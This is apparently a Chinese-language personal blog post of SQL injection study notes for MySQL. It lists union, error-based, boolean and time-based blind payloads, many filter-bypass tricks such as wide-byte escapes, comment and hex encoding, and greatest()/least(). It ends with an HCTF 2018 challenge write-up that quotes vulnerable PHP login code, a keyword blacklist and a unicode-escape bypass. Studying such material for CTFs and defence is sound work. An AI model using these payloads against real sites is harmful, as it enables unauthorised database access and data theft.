前段时间因为spacevim的各种问题,把mac重装了,最后选择不用现成的配置,现在使用neovim,并用vim-plug管理插件。
整个博客也重新撘了一遍,最后决定就留下这一篇基础的sql注入总结的文章: )。

基础

information_schema数据库:
schemata表 存储用户创建的所有数据库的库名,记录数据库库名的字段名为SCHEMA_NAME。
tables表 存储用户创建的所有数据库的库名和表名,字段名分别为TABLE_SCHEMA、TABLE_NAME。
columns表 存储用户创建的所有数据库的库名、表名和字段名,字段名分别为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。

mysql5.5及以上版本开始,默认引擎为innodb。
mysql5.6及以上版本中,mysql库中有两个新表innodb_index_stats和innodb_table_stats。里面存放了新创建的数据库库名和表名,对应字段名分别为database_name和table_name。

database() 当前网站使用的数据库
version() 当前mysql的版本
user() 当前mysql的用户

注释
#
--空格
/**/

内联注释
/!**/

mysql字符串函数参考:https://www.jb51.net/article/87120.htm

数字型注入

1
select * from table_name where id =1

字符型注入

1
2
3
4
select * from table_name where id ='1';
select * from table_name where id =('1');
select * from table_name where id ="1";
select * from table_name where id =("1");
union注入

判断字段数

1
order by 2 #

看回显

1
union select 1,2 #

如果回显第二位,则 :

1
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(); #
报错注入

基础语句

1
2
3
and updatexml(1,concat(0x7e,(),0x7e),1) 
and extractvalue(1, concat(0x7e,(),0x7e) )
and (select 1 from (select count(*),concat((),floor(rand(0)*2))x from information_schema.tables group by x)a)
bool注入

基础语句

1
2
3
4
1' and length(database()) =4; #
1' and ord(substr(database(),1,1)) = 119; # w
1' and ascii(substr(database(),2,1)) = 101; # e
1' and substr(database(),3,1) = 'b' #; b

猜测表的个数

1
1' and (select count(table_name) from information_schema.tables where table_schema = database()) = 2; #

猜表名
第一个表表名

1
2
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 4; #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 102; # f
时间盲注

基础语句

1
2
3
if((),sleep(5),1)
if((),benchmark(10000000,md5(1)),1)
substr((),{},1)='{}'
其他

二次注入、insert into注入……

一些绕过技巧

双写绕过
sselectelect
大小写绕过
Select
注释绕过
se/**/lect
内联注释
/!**/

url中的注释
#用%23
–+
–%20

=被过滤,用like或者regexp绕过

1
2
3
select * from table_name where id = 1;
select * from table_name where id like 1;
select * from table_name where id regexp 1; // 还会匹配到1.*

逗号被过滤
时间盲注if(exp1,exp2,exp3) 不能用
类似if的用法

1
case when (exp1) then (exp2) else (exp3) end

substr((),1,1)=’{}’和substring不能用
可用from 1 for 1代替

1
substr(() from {} for 1)='{}'

limit 0,1不能用
可用1 offset 0代替

1
select * from table_name limit 1 offset 0;

select * from table_name union select 1,2,3; #不能用
可结合join语句和子查询的别名来代替

1
select * from table_name union select * from ((select 1)a join (select 2)b join (select 3)c);

空格被过滤
/**/
0x0a
0x0b
0x0c
0x0d
``反引号
()括号

‘单引号被过滤
hex绕过

1
select * from table_name where id = 0x...;

char()绕过

1
select * from table_name where name = char(76,76);

宽字节绕过
如果’单引号前加上\反斜杠被转义。当数据库编码gbk时,反斜杠%5c加上%df为繁体字

1
2
// $id = 1%df'#
select * from table_name where id = '1%df'#';

<>被过滤
盲注中可能用到<>

1
select * from table_name where id = 1 and ascii(substr(database(),2,1)) > 101; #

用greatest()、least()绕过

1
2
select * from table_name where id = 1 and greatest(ascii(substr(database(),2,1)),101)=101; // greatest()返回最大值
select * from table_name where id = 1 and least(ascii(substr(database(),2,1)),101)=101; // least()返回最小值
最近学习

最近看官方hctf2018 wp学习了一下,这里记录下。
里面有道本义是bool盲注的题,结果可利用json反序列化unicode绕过waf的漏洞。
php审计一下,发现漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}

通过爆破发现$login_data[‘admin_pass’]=65时可以成功登陆。
所以可利用bool注入,通过登陆状态来判断语句是否正确。
审计时发现对$_GET、$_POST、$_COOKIE进行了过滤:

1
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|and|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';

因为过滤了or所以不能用information_schema库来查询,可用innodb_table_stats和innodb_index_stats这两张表来查询表名。
脚本参考官方wp:https://bysec.io/hctf/writeup.html
但是这题可利用json_decode()解码unicode的特性实现时间盲注。
只要把被过滤的关键字部分字母替换成unicode编码即可。如:

1
union = '\u00'+str(hex(ord('u')))[2:]+'nion' # \u0075nion